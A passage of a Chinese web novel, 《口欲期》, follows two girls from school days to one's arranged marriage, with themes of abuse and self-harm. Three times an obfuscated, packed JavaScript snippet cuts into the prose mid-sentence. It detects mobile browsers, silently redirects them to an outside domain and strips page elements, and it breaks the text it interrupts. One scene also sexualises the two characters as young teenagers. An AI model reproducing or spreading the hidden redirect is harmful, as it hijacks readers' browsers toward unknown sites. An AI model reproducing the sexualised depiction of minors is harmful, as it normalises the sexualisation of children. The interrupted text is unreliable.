《口欲期》 1. 小小纸老虎 老旧的风扇转个不停,教室里热得像蒸笼,女孩儿们躲在树荫编着花绳,时不时小声嘀咕几句。 “你怎么这么笨呀,还是学不会!” “你之前的学校不玩这个吗?我不想和你一组了!你看晓晓她们都要编完了!” 说话的是王小桃,在班里样样倒数。 危思坐在座位上翻了页书,心想她还好意思嫌别人拖后腿。 “哎呀,你再教教我嘛,”头发卷卷的女孩挠了挠头,脸上还挂着笑,绳子随着她的动作轻轻的晃,“我帮你写作业。” 说话这会儿功夫,另一边的女孩儿已经编完了,正讨论着新花样。 还有两个女孩儿看过来,“小桃,你们两个怎么还没编完?” “还不是因为霍心夺太笨了,”说着王小桃拿起卷头发女孩编得乱七八糟的花绳扔过去,“你们看啊!” 扔过去的花绳被站在最前面的周晓踩在地上。 “什么丑东西!”她说完又走到霍心夺面前,拽了拽她的卷发,“这么笨,怪不得没人要你呢。” “还有你的衣服,是不是垃圾堆捡来的,这么破。”周晓说着拍了拍霍心夺的脸蛋,“大夏天穿个长袖,更臭了。明天换一件听见没有?” 几乎每个新来的都被周晓教训过,三年级刚转来的霍心夺也不例外。 “晓晓你好漂亮啊,听说会弹钢琴的人都很聪明,难怪你花绳编的这么好看。” 出乎意料地,被教训的霍心夺没有羞愤,也没有默不作声,而是眼睛睁得大大,笑得更甜了—— “要不然你教教我吧,我认你做老大。” 九岁的小女孩毕竟没有多深的心思,只是嫉妒这个刚转来的漂亮女孩。 见人这么听话周晓便扬了扬头,得意道:“只教你一次啊,看仔细点。” 周晓说完,一旁的跟班儿赶忙拿来两根绳,其余的人也纷纷凑上来,只有一旁的危思还在看书。 “思思,你也来学呀。”周晓已经准备开始,王小桃殷勤地叫危思过来,又被周晓一巴掌拍回去。 “思思要什么没有啊?” “是啊,思思家那么有钱,带的手链都要几万呢!” “那都是思思爸爸给她买的,她爸爸对她特别好。” 女孩儿们叽叽喳喳说个不停,霍心夺转头看向她们吹捧的对象。 她来了这班以后,最先注意到的人就是危思。 没办法,危思是众星捧月的具象化,学习、样貌、家境,样样都出色,样样都引人注目,让人忍不住质疑—— 这样完美的人,是真实存在的吗? 危思把书扣在桌上,转身出了教室。 屋里太热了,她喝了很多水,这会儿有点想去厕所。 周晓那帮人也吵得她心烦。 回来时周晓还在大声表演她高超的编绳技术,那个头发卷卷的女孩儿专心致志地看着。 热意能把人灼伤的夏日里,那女孩儿还穿着长袖,袖子宽大,盖住一半的手背。 危思知道她,霍心夺,开学时班里出现的新面孔。听老师说她没上过学,从外地转来直接读了三年级。 “怎么样?比你编的强多了吧?”周晓总算是编完了,得意地拿着花绳在霍心夺面前晃。 她把目光移向霍心夺,等待这个新收的跟班的追捧和讨好。 “啊,”霍心夺大眼睛闪了闪,拿起花绳认真地看了起来,在所有人还没反应过来的时候,一把把花绳扔出窗外,“编得好丑啊,不想学了。” 所有人都愣了两秒,周晓最先反应过来,两只手用力地推过去,但是被霍心夺轻巧躲开,反倒摔倒在过道边上。 霍心夺一下子反败为胜,居高临下地看着周晓:“学钢琴的看来也不都是聪明的,起码还有你这么笨的。” 可惜这场胜利还没有维持两秒,就被后扑上来的周晓及众多跟班打破。 “干什么呢都!都给我撒手!” 闻声而来的班主任气得抄起三角板在桌子上拍得山响,一手一个把女孩儿们拉开。 总算是清静了。 这小卷毛很有意思。 危思撂下书站起来往外走,瞧见霍心夺拍掉身上的灰,孤零零地站在原地,依旧执着地低头鼓捣那几根绳子。 不是她比别人慢一拍,是这里的一切都太陌生了。 她额头鼻尖上都是细细的汗珠,连风都不偏爱她。 “你是想学编绳吗?”危思鬼使神差地走过去,牵住绳子的另一端,“我教你。” 霍心夺猛地抬起头,眼睛亮起来。 “你教我吗?”她惊喜地问,有些羞赧,双眼弯成一个讨喜的弧度,“我学了一半了……不会耽误你很久的!” 她想了想又补充道:“我叫霍心夺,上周新转来的。” “嗯,我知道的,”危思看着她,“你好,我叫危思。” “别的有什么不懂,”危思说,“你都可以来问我。” 老虎小的时候没有尖利的爪牙,如果没有大虎的庇佑,只能收起所有锋利的外壳,藏进各种各样的动物族群,假装自己和它们是同类,以换取一线生机。 等它成长起来,所有的尖牙得以释放—— 它会追赶风,淋着雨,同真正的同类一起,开辟新的天地。 -后来呢后来呢 -多说爱听 -算算时间,你俩在一起也得十年了吧 弹幕上消息弹得飞快,齐刷刷一片都在问后续。 “后来啊,”霍心夺转了转打火机,凑唇过去将烟点燃,凝神盯着那蓝色火苗,“她要结婚了。” 她咬着烟,手上的活儿一点没停,一个胖胖的中国结初具雏形。 “你又编这玩意儿干啥?”杨彩看那颜色就头疼,“昨天不是刚编好一个吗?” 霍心夺没理她,几下收好尾,满意地在镜头前展示:“给思思结婚用的。” 那俩中国结花纹精美,绿油油胖嘟嘟,存在感十足。 屏幕上刷过去一串哈哈哈。 “编得真牛逼,颜色也牛逼,”杨彩见了这速度,给她比了个大拇指,“你真是我老大。” 霍心夺直播从不露脸,只对准一条青绿色的Q版毛绒玩偶蛇,粉丝都叫她嘶嘶。 蛇吐信子发出嘶嘶声,故为嘶嘶,这名儿还是霍心夺拍板定的。 不知道此嘶嘶,是不是彼思思。 说到这儿霍心夺突然失了兴致,退出直播,啪地把打火机扔桌子上,拆了个根蓝色棒棒糖塞嘴里,嚼得嘎嘣响。 “哟,我还以为你真不在意呢。”杨彩见状调侃道。 “滚呐。”霍心夺踹向损友,气不打一处来。 危思的婚礼定在下月十六,正值夏至。 “你家思思不像是个没主意的,”杨彩摘下了耳机,“她真就老老实实听家里安排?” “嗯呢,”霍心夺瞪着那俩绿中国结,眼睛睁得发酸,“她没反抗。” 她还记得夏娟第一次找她时说的话—— “我已经给思思物色好了未来的结婚对象,”夏娟精致的妆容如同假面,“这儿有大把的青年才俊等着攀关系,轮不着你。” “是是是,”霍心夺当时笑着点头,“危总河东一霸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720340|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪是我能攀得起的呢。” 狗屁亲自挑选的女婿,不过是又一个傀儡。 “我打断一下啊,那傀儡啥样?你见过了吗?” 棒棒糖早嚼没了,杨彩递给她一根新的。 “见过,还睡过呢,你信吗?”霍心夺拆了包装纸,嗦着棒棒糖含糊不清地总结道,“我家老太太眼睛真毒,思思她妈啊,脑子真有毛病。” “你姥姥还说过这话呢?慧眼识珠啊!”杨彩一向抓不住重点,反手把耳机给霍心夺罩上,“哎,听听这个,心情说不准能好点。” 鼠标咔地一声,清澈的童音弹跳进耳膜。 “两只老虎,两只老虎 跑得快,跑得快 一只没有耳朵 一只没有尾巴 真奇怪!真奇怪!” 是时三伏天,天气热如汤。 过去的无知岁月里,十几岁的霍心夺一听这歌,就知道巷子口卖冰棍的来了。 她问危思:“吃不吃冰?我去买啊。” “别折腾了,”危思说,“我家冰箱里有,还有冰西瓜,你吃就去拿吧。” “我不想动哎。”霍心夺翻了身,支起耳朵悄悄听墙外隐隐约约的声音。 巷口老树荫凉处,街坊邻居三三两两凑做一团,摇着扇子唠闲话家常。 “娟儿,你家生子还没回呢?”一个满脑袋卷毛的老太太看向坐在树根下的年轻女人,皱着鼻子道,“男人在外久了呀,心该野了。” “管他呢,拿钱回来就行。”那女人哂然一笑。 话头没人接,周遭安静须臾,有人念叨起镇子上的新鲜玩意儿,闲话又扯到别处去了。 女人也不在意,啃完西瓜起身向家里走去。 后院铺了个凉席,两个少女趴在上面晒背。 梳着低马尾的女孩儿似乎晒着晒着睡着了,不知不觉间翻了个身。 卷发女孩儿眯着眼睛晒了会儿,凑过去悄悄掀人家衣角。 她趴在那女孩刚鼓起的胸口上,撩起衣服脑袋埋下去使坏。没多会儿,被刚进院的女人啪地一巴掌甩在后背上。 “娟姨,我俩闹着玩儿呢。”卷发女孩儿起身笑嘻嘻地求饶。 夏娟知道她这毛病,没多计较,警告地点点她脑门儿,进屋去了。 霍心夺悄声说:“思思,你的小鼓包比我的大。” “你能不能注意点场合,”危思睁开眼睛,把衣服放下来,“该,让我妈打了吧。” 霍心夺挪过去贴着她,嘟囔道:“说好和你一起考进一高就让我试试,到现在也没兑现,我只好自己动手了。” “你说话能不能背着点儿人!”危思还能感觉到胸口微微的湿润,听这话脸刷地一下红了,连忙捂着她的嘴。 霍心夺说不出来话了,眨巴着水润的眼,用谴责的目光看危思。 说出去的话泼出去的水,两个女孩儿关系打小就好,危思也乐意惯着她。 “……那得等没人的时候再说。”危思垂眸道。 霍心夺晒了一整个下午,晒得冒了火,回家就被老太太追着打。 “还知道回来呢你!”卷毛老太太瞪着霍心夺,恨铁不成钢道,“跟你说过多少次了?别老去思思家玩,她妈精神有问题。” 老太太扬起的鸡毛掸子落在半空中,蓄势待发。 霍心夺睁着眼望着姥姥,知道她嘴硬心软舍不得打,果然见那手又收回去了。 老太太老说夏娟脑子有问题,但她有自己的主意,还夸下海口:“姥姥,我能保护思思,你信不信?” 卷毛老太太说:“我信你个鬼嘞!” 2. 笼中小鸟 “听话,妈妈不会亏待你。” 夏娟摸着危思的脸,又重重在她肩头按了按,暗示意味很明显。 危思穿着繁重的中式婚服,脸色白得像纸人,充耳不闻。 直到夏娟离开,危思没说一句话。 这些年她变了很多,话愈发的少,任谁也看不出她在想什么。 楼梯处有沉闷的声响,屋里进来个人,随即咔哒一声,门被反锁上。 是霍心夺,她穿着伴娘服,提了两把青绿色的油纸伞,动作轻缓地放在床边。 “新婚贺礼。”霍心夺微微地笑。 这一对好伞,贺这对新人一拍两散。 危思忽地笑了,三下五除二地解开胸前的婚服圆扣,露出半个浑圆雪白的身子。 她微微仰起头看霍心夺,像一种无声的邀请。 这才是危思,看着安静内敛,骨子里藏着压抑的疯。 霍心夺沉默着盯了一会儿,扑了上去。 之后的一切顺理成章,谁都没有避讳,绽放的红梅开满了整片雪地。 两个人对视着抱在一起,门被砰砰地敲,是新郎来迎门了。 霍心夺慢条斯理地给危思重新系上扣子,把青绿色的小蛇玩偶塞到她怀里。 玩偶有些旧了,傻傻地睁着眼睛。 “还给你,抱着它走吧。”霍心夺说。 门开了,吵闹喧嚣不绝于耳,危思看不清前路,眼前是模糊的红,她紧紧攥着怀里的玩偶,泪噼里啪啦地掉。 十八岁那年,她亲手做的小蛇玩偶,没想过会有被还回来的一天。 深夜宾客散尽,危思洗干净脸,麻木地盯着镜子里的自己。 很好,很符合世俗概念的一具行尸走肉。 这场婚礼,霍心夺没缺席任何环节,她是笑着的,那双眼却没有任何温度,失了以往散漫的笑意,牢牢地锁定她。 交换戒指的时候,危思迎着那道炽热的视线,垂眸侧身避开新郎的亲吻。 在外人看来,倒像是主动依靠在新郎怀里。 卫生间的门被打开,是今天这场荒唐婚礼的另一位主人公,司诺。 “那个……”男人犹豫着开口道,“该睡了。” “你去次卧睡。”危思擦干手上的水,看都没看他,径自往主卧去了。 男人没跟来,听话地去了次卧。 危思锁上卧室门,反复确认枕头下的剪子还在,心里对司诺的顺从生出些许讶异。 这位新郎是夏娟精挑细选出来的,出身不至于辱没危家如今的门楣,但也算高攀危家,除了对夏娟言听计从之外,没什么可取之处。 今夜想象中的危机四伏没有出现,危思累极了,没忘记把小蛇玩偶塞进怀里,沉沉睡去。 睡梦中眼泪滚在玩偶的绒毛上,氤氲成更深的绿。 无孔不入的焦躁不安一直蔓延到梦里,她不安地抓紧玩偶,恍然间又回到了巷子里。 她和妈妈坐在饭桌上,一顿饭吃得落针可闻,几乎听不到咀嚼声。 “你爸接电话了么?”夏娟开口道。 “没。”危思放下筷子,眼眸微垂。 夏娟不再说话,啪地一声撂下碗。 危思知道她这是又要发火,仍然不言不语。 等夏娟掀了桌,巴掌要落到她脸上,她才慢声细语道:“我给爸爸朋友打电话,套出爸爸的住址了。” “好孩子,”夏娟收了力道,在她脸上轻轻抚摸,“告诉妈妈在哪里?” 危思毫不在意她妈猫一阵狗一阵的对待,张口说了个地址。 “离得倒是不远,”夏娟冷笑道,“发家了就想过河拆桥,门儿都没有!” “妈妈,你要和他离婚吗?”危思轻声问。 “怎么会,离婚才分几个钱。”夏娟微微笑道,神色晦暗不明。 危思面无表情地收拾着一地狼藉,眼皮依旧垂着,不知道在想什么。 须臾间,夏日走到尾声,清晨平添一丝凉意。 “思思!”霍心夺早早地踏进小院,胳膊肘夹着本书,献宝似地呈上来。 那本书破破烂烂,危思打着哈欠揉眼,定睛瞧了瞧,面上罕见地显露出激动的神色。 她惊讶道:“不是说市里只一本么?怎么弄到的?” “嗨,这有啥,”霍心夺托腮看着她,笑盈盈道,“你想要什么我都能搞到手。” 说着说着,危思眼里的光淡下去。 她绷紧了脸,抬头紧紧望向霍心夺的眼:“我妈要带我搬到市里了。” 霍心夺愣了一下,很快又挂起笑脸:“没关系啊,我去找你。” 梦中霍心夺的笑脸渐渐模糊,被庞然大雨淹没,顺着巷子后面那条河消失不见。 危思哭着拼命伸手去抓她,那河水滚烫无比—— 像是烧焦了的糖浆,将她吞噬进去,包裹出一层香甜完美的外壳。 场景一转,仍然只有两个人的饭桌上,这次夏娟没有歇斯底里,黑洞一样的眼睛牢牢盯着她:“你的亲戚、同学、领导同事,还有你的爸爸……” “知道你是见不得人的同性恋吗?” “你以为我不知道你看不上我倒贴男人?那你呢?连个没把的都能上你,你不可笑吗?” “你以为你爸有多爱你呢,要是没了这些学历,没了光环加身,他会瞧你一眼吗?” 蒙着眼睛藏在房间的大象,被暴力撕开遮羞布、驱赶到阳光下,内心焦躁难安。 危思在心底拼命反驳嘶吼—— 不是的,我拥有和睦幸福的家庭,我爸妈都是爱我的,我有着华丽的人生履历,我不是不完美小孩,我不是同性恋…… ……可我有一个很好的爱人。 ……见不得光的,原来是我自己么? 不可能,一定不是的。 那是什么? 太痛了,危思想,我在焦躁不安什么? 她是把自己套在陶瓷壳子里的人,是个精致的假娃娃。 这一切的完美都是假面,多年的伪装严丝合缝地长在身上,她不肯脱下这层外衣。 只有在霍心夺面前,她可以卸下伪装完全做自己,即使拥有她无条件的爱,可危思依然无法—— 接纳真正的自己。 “结婚吧,结了婚有了小孩你就还是那个好孩子,其他人不都是这样么?”夏娟握住她的肩膀,“心夺那边,你们可以偷偷摸摸啊?藏好了,你们见不得光的。” “好,”良久,危思漠然道:“我自己和卷卷说,你不要插手。” 梦中不计年,那之后日子还是照样过着,如水一样流淌进滚烫的河。 某日还没到下班时间她就关了电脑,拎着包进了电梯。 “危工,这项目?”小徐伸着手悲愤地喊,“您不能丢下我一个人啊?!” 危思看着这个刚毕业的小孩儿,恍惚间在她身上看到了前几年的霍心夺。 电梯关闭之前,她笑笑:“该怎么做都发你邮箱了,照猫画虎就行,我有很重要的事。” “多重要的事啊?”小徐好奇地问,话音被自动关闭的电梯门挤碎,“能让工作狂危工早退……” 非常重要的事—— 霍心夺乐队的巡演终于结束,飞机三点落地,危思要去接她。 这个时间机场人不多,乐队那帮人吵吵闹闹地拖着东西走出来。 霍心夺妆还没卸,瞧着没什么精神,卷发蔫蔫地耷拉着。 她径直走到危思面前,没像以前那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720341|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样扑过来抱住,但还是强行撑出个笑来。 “思思,难道你没有话想跟我说吗?” “我妈和你说了?”危思避开她的视线,接过她的行李箱,“先去我那儿吧。” 一路无言。 “……我要结婚了,”危思倒了杯水放在霍心夺手边,轻描淡写得像是在说最近吃了什么饭,“商业联姻,只是走个形式,商量好了婚后分居。” “哦,”霍心夺没动那杯水,“那我呢?” 危思蹲下来握住她的手,觉得那双手冰凉,怎么搓都不热。 “我们还和以前一样,”危思再度解释道,“卷卷,那都是假的。” “是你妈逼迫你,还是你自己愿意的?”霍心夺只想知道这个,问得很艰难。 危思说:“我自己愿意的,有区别么?” 没人再说话,只听得到钟表指针滴滴嗒嗒的转动声。 即使在梦中,危思依然自虐般一遍又一遍地重温着记忆这一幕。 她反复握着霍心夺冰凉的指尖,那瞬间心里焦躁的、想撕碎一切的野兽跃到了顶峰。 你不能什么都要,她警告自己。 既要别人眼中完美的人生答卷,又舍不得她的卷卷。 “好,”霍心夺看了眼垃圾桶中空掉的药瓶,轻声说,“我都听你的。” “姥姥,你把我糖收哪儿去了?”霍心夺胡乱捋了一把乱七八糟的卷发,趴在地上看茶几下面的空间,试图找出些蛛丝马迹。 “你问思思,”卷毛老太太从电视上挪开眼睛,“我没动啊,不要什么都赖老太太。” 霍心夺小声喊:“人家都结婚了!回门呢今天!” “哎哟难受啦?”卷毛老太太没心没肺地乐了,“那你不拦着。” “怎么拦呢?”霍心夺喃喃自语道,“这是思思想要的生活,我得成全她。” 从前看似牢固的安全感再次缺位,身体的本能让她想咬着点什么。 家里没烟了,也没槟榔,普通的糖无法满足她的欲望,只会让心里越来越空。 再说她早答应过危思,戒烟戒槟榔。本来颇有成效,可惜这段时间没控制住,烟瘾复发。 她压抑着自己,口欲却日渐疯长,有种说不出的烦躁。 只有她从小揣在身上、妈妈留给她的一小盒糖,才能在这种时刻让她寻求到一丝慰藉。 没断奶的年纪,别的小朋友靠在妈妈怀里喝乳汁,她在一边啃手指。 卷毛老太太就掏出那盒糖,拿出糖块碾碎了融在羊奶里喂给她,腥膻的羊奶也变得甜蜜起来。 除了泛黄的旧照片,那是她有关母亲的唯一的记忆,带着糖果的甜香气。 然而现在这盒糖怎么也找不到。 她悲从中来,坐在地上抱着腿,咬得下唇泛白。 老太太看她这样,还是心疼的,叹着气从沙发底下掏出一个小木盒,放在她手心。 “思思结婚了,没人再往里面添糖了,我是怕你触景伤情,就放起来了。” 盒子年头太长了,都被霍心夺盘包浆了。 妈妈留下的糖也早就吃完了,危思知道她放盒子的地方,偷偷买同样的糖果放在里面。 如此十来年,不曾变过。 幼时她还高兴地和危思说,妈妈留给她的糖匣子有魔法,里面的糖永远不会少,一定是天堂里的妈妈偷偷放的,妈妈一直在陪她。 霍心夺小心翼翼地打开糖匣子,里面躺着五颗小小的糖果。 她反而舍不得吃了。 “姥姥,为什么啊?”她把头埋在老太太怀里,终于压抑不住悲伤,眼泪不要钱似的往下掉。 “卷卷啊……”老太太摸着她的头,也流下了眼泪,“路还长呢。” 3. 两只老虎跑得快 “走吧,说好了和雾里聚餐,咱们拒绝了人家的邀约,吃饭的面子总得给吧。”杨彩抻了个懒腰催促道。 雾里是个新潮音乐厂牌,想签他们乐队,之前他们队里一合计,没同意。 “咱们现在挣得也不少,还自由,”吕浩一说,“不找那麻烦事儿。” 包厢里很热闹,都是年轻人,聊起来荤素不忌,霍心夺外貌出色,话题很快转到了她身上。 “楚秀和心夺聊得投缘啊!” “这几个小时哪能聊得完?”旁边有人起哄道,“楚秀把人带回家接着唠!” 楚秀,雾里厂牌的主理人,性取向在圈子里不是秘密。 起哄的人是楚秀的朋友,借着酒劲说了楚秀没说出口的话。 弦外之音霍心夺听得懂,不过是成年人间的隐晦试探。 她想这一幕如果危思也在—— 那她必定表面不动声色,当即就要把雾里的内部系统攻击到瘫痪。 说不定还得挖出点黑料来公之于众。 不过那都是过去的危思了,现在的她已经不再轻易展露情绪了。 “不了,”霍心夺笑笑,“家里有人等。” “以后带来见见?”楚秀掩唇一笑,“大家都很好奇啊。” “有机会一定。”霍心夺始终挂着礼貌的微笑,待人处事有分寸,不拒人千里之外,也没法更进一步。 场子继续热闹起来,有人借着话头开玩笑:“就没见心夺摘下过手上的发圈,这是定情信物吧?” “你话怎就那么多,”杨彩转了转眼睛,摇着骰子岔开话题,“来来来我们进行下一场!输了的别耍赖!” 霍心夺笑而不语。 一伙人玩到凌晨3点才散,离开前她去卫生间洗了把脸,看着镜中湿漉漉的脸出神。 她想起危思问她—— 累吗? 不累。 在无数个夜里她都这么答,在思思身边就不累。即便到危思身边的路那么远,那么远。 年幼的危思又问—— 你疼吗? 霍心夺褪下手腕处淡蓝色的发圈,露出斑驳交错的疤痕。 新肉早就长牢了,不管过去多少年,还是白得突兀,像是某种特殊的标记。 霍心夺愣了会儿,把发圈套回手腕紧紧握了会儿,思绪飘回十五年前的某个雨天。 那雨来得不合时宜,放学路上的两个小孩被浇得猝不及防。 危思家离得最近,两个孩子跑到大门处敲了又敲,没人应。 “别敲了,”危思咬了咬嘴唇,语气却很平静,“我妈可能不在家。” “可是……”霍心夺扒门望着开了灯的屋子和窗边一动不动的身影,“你没有钥匙吗?” 危思摇头。 等了十来分钟,门依然像蚌壳一样紧闭着,霍心夺不再执着里面那个人影,故意大声说:“去我家吧,思思。” 姥姥还在舅舅家没回来,霍心夺摘下脖子上挂的钥匙,轻车熟路地捋出哗啦啦的声响,很快找出正确那一把。 进了屋她又噔噔噔地跑上跑下,找出两套干净的小衣服。 和危思的衣服比,这两件衣服明显有些旧了,然而针脚细密,干净整洁,布料摩擦时会冒出阳光的香气。 危思沉默着低头换上衣服,过了半晌才开口:“这件衣服穿着很舒服。” “姥姥给我做的,”霍心夺笑眼弯弯,拍着胸口道,“缝了好几个晚上呢!” “你妈妈为什么不给你开门呀?” 她欲言又止,还是没忍住,气愤地小声喊起来。 “我惹她生气了,”危思抠着窗框,后背绷得很紧,“我没有给爸爸打电话。” “打了也没用,”她小声喃喃道,“爸爸不会接,只会汇款回来。” “以后你只管到我家来!”霍心夺皱起小眉头,说完又想起危思说衣服很舒服,心思不由得转了个弯儿。 她贴着危思来回看了一圈儿,果不其然在危思的后脖颈看到一片红痕。 她一直羡慕危思有很多漂亮的衣服鞋子可以穿,还因为危思不肯和她换衣服穿暗暗生气过。 玩得久了,她逐渐意识到点什么。 危思的鞋总是不合脚,或大或小,衣服也一样,好看,穿着却不舒服。 看着光鲜,实际上没得到过什么爱。 霍心夺抄起把小剪刀,咔嚓两下把危思湿裙子又扎又硌的商标剪掉,然后仔仔细细地把线头摘干净。 “这样就好啦!以后你把衣服拿来,我能帮你把它变得更舒服!”她把危思的衣服放进小脸盆里,左看看又望望,扭扭捏捏不肯换衣服。 “再不换容易感冒的呀,”危思盯着碎成一团的商标看了很久,注意到霍心夺湿哒哒的衣角,捂住自己的眼睛,“你是害羞吗?我可以不看的。” “……其实也没什么的。”霍心夺像是下定了某种决心,把湿漉漉的袖子撸上去,给危思看她的左手腕。 从前她这只手遮遮掩掩,不肯让危思窥探到一点不对。 然而今天危思一向完美的面具龟裂,离她却好像变得更近,她似乎能鼓起勇气,展露自己藏在阴影下的一面。 霍心夺带着婴儿肥的手臂肉乎乎,手腕靠近血管的地方纵横着几道粗粝的伤痕,像是被钝器用力划过无数次。 褐色的痂半掉不掉,遮掩着刚刚痊愈的粉白新肉。 “我爸爸……说带我旅游,其实是带着我一起自杀,我没死成,”霍心夺勉强笑笑,“……很多我都不记得啦。” “卷卷……你疼吗?”危思垂眼盯着她的手腕。 “还有点,”霍心夺用手胡乱划过那些伤痕,“碰的时候沙沙的麻麻的,疼得很僵,像又隔了层皮肤……哎呀我不知道怎么形容!” 过往玩闹中霍心夺那些异样一一回溯在眼前,她大热天坚持穿长袖的行为也终于得到了解释。 小卷毛以前过得好像也不怎么样,危思压下心底震动,心想果真是个笨蛋。 她又谴责起自己不是个称职的朋友,明明注意到了霍心夺异常的行为,却从没想过深究。 霍心夺看危思不说话,心里有点慌,讨好似地往她手里塞了几颗糖果。 糖果表皮的纸皱皱的,应该是在兜里揣了很久,没舍得吃。 危思不知怎的有点难受。 妈妈不给她开门的时候都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720342|157188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么难受。 霍心夺有双笑眼,想讨好一个人的时候,那双眼睛会专注地弯成一道弧线,和月亮一样好看。 这样的小孩,这样的卷卷,比她讨喜得多,怎么也会不幸福? 她想和霍心夺说,不要在乎这些疤痕,不要在意外人的恶意中伤,可是觉得这些言语太苍白无力了。 她自己也做不到,不是么? 疤没长她身上,她没办法替霍心夺疼。 “要是因为这个不想和我玩……也没关系。”霍心夺瞄了眼手腕,因着危思长久的沉默有些沮丧。 危思还是不言不语,径自坐到了霍姥姥的缝纫机前。 凳子太高,小小的人坐在上面,腿够不到脚踏,只得又站起来。 她从旁边的筐里扒拉出一些漂亮的碎布头,应该是霍姥姥给霍心夺做衣服余下的,又翻出几条宽皮筋来。 霍心夺不明白她要做什么,亦步亦趋地跟着。 危思憋着一股气,拿起电熨斗想把布料熨烫平整。 那熨斗比她头还大,她双手拿得吃力,踮着脚尖拎着熨斗往布料上贴。 “思思我帮你!”霍心夺巴巴地凑过去。 “你呆着。”危思说,小脸绷得很紧。 压针脚、踩踏板、缝线收口…… 在霍心夺眼里,她像会魔法一样,用碎布头做出好几个漂亮的发圈。 最开始的碎花发圈缝得有点歪扭,后面的几个越来越好,越来越工整。 “盖住就不疼了。”危思拿了一个发圈,套在霍心夺手腕上。 手绳不好看,太紧了会勒,太松了会滑落露出伤疤,这个就刚好。 宽大的发圈刚好舒舒服服地盖住那些痕迹。 发圈布料和霍心夺的衣服同根同源,戴在手上一点也不突兀,像是特意搭配的配饰。 “哇像城里卖的一样!”霍心夺蹦起来,爱不释手道,“思思你好厉害!” 蹦着蹦着她就哭了,整个人贴到危思身上,把眼泪往她脖子上蹭,“思思你真好。” “我收了你的糖,会对你好,”危思小声说,眼睫毛抖了几下,“那是你妈妈留给你的糖吧?我记得的。” “喜糖!危工接着!” 刚休完婚假的同事扔过来盒喜糖,危思扬手接了,也没打开,随手放在了电脑边儿。 长长的黑色头发垂落下来,电脑屏幕上跳动的代码闪烁着,映着她冷冷淡淡的脸。 “我记得你有爱人,也刚结婚吧?”同事起来做了套颈椎操,满脸八卦地问,“真好奇你的另一半是什么样的人。” “算是吧。”危思目不转睛,打完一行代码才应了前半句。 她和司诺没领证,只举办了婚礼,真真叫一个名存实亡。 至于后半句……什么样的人? 她想起霍心夺,不自觉地笑了下。 当然是个很会唱歌的小卷毛啊。 不过小卷毛和她吵了架,婚礼那天是她们近期最后一次见面。 想到这里危思笑意淡了下来,她翻开日历,今天的日期被红笔圈出来,是个美好的纪念日。 八年前的这一天,霍心夺送了她一首歌。 4. 大大纸老虎 其实在危思收到那首歌之前,她们也吵了架。 某个春日,她做了一个不可言说的梦,梦里只有她和霍心夺。 自打那时起,再碰上霍心夺口欲症复发,任她软磨硬泡也好,装疯卖傻也好,危思都没有再答应过她。 如果一方的感情发生变质,以身饲虎的性质就不同了。 “好思思,为什么不可以了,”霍心夺那段时间啃秃了手指甲,嘴唇也咬得结痂,“我们不是最好的朋友吗?” “……是,”危思叹了口气,给她手指缠上创可贴,“不要再咬了,我给你买零食,难受了就吃。” 没多久又发生了吕浩一的乌龙情书事件,霍心夺除却最开始的气愤和不恋爱誓言,后面总和吕浩一那伙人往校外跑。 “你最近怎么不见人影?”危思放学前终于逮到霍心夺,“晚自习不上了吗?” “心夺——走了!要迟到了!” 吕浩一敲了敲窗户,招呼霍心夺赶紧背包跑路。 眼看着晚自习老师要来了,霍心夺来不及解释,匆匆留下一句改天再说,便像小旋风般卷了出去。 危思愣在原地,伸出去拽霍心夺书包带的手半天都没收回来。 此后她单方面对霍心夺发起了冷战,不再理她,也不再去住她的出租屋。 她们之间的交流变得越来越少,直到一堂怎么也找不到笔记的物理课。 物理笔记忘在了出租屋,危思生着气,不想让霍心夺捎过来,于是挑了个她不在的周末,自己去取。 翻书架找笔记的时候,她瞥见了霍心夺那宝贝糖匣,晃了晃份量,存货已经不多了。 霍心夺和她说过,糖果是妈妈的味道,所以舍不得吃,怕吃没了,妈妈的痕迹就淡了。 危思生气归生气,还是偷偷往里面补充了糖果。 她习惯性地帮霍心夺收好桌面上的东西,无意间瞥见书桌角落的烟盒和打火机。 她顺着往下看,垃圾桶最上面散落着烟灰和烟头,烟屁股被咬得扁扁的,上面牙印清晰可见。 一股火从危思头顶窜出来,她强压怒气蹲在垃圾桶前往里看,还有嚼过的槟榔。 这万物被咬成平面图形的咬合力、这力道十足的牙印,除了霍心夺,没有别人! 以前她俩一起喝汽水,霍心夺的吸管总是被她咬出印子,然后瘪掉,直到再也吸不上来汽水。 危思知道的,霍心夺控制不住自己的口欲。 她没再回学校,也没有回家,在出租屋一直等,等到天黑透了,才见到风尘仆仆赶回来的霍心夺。 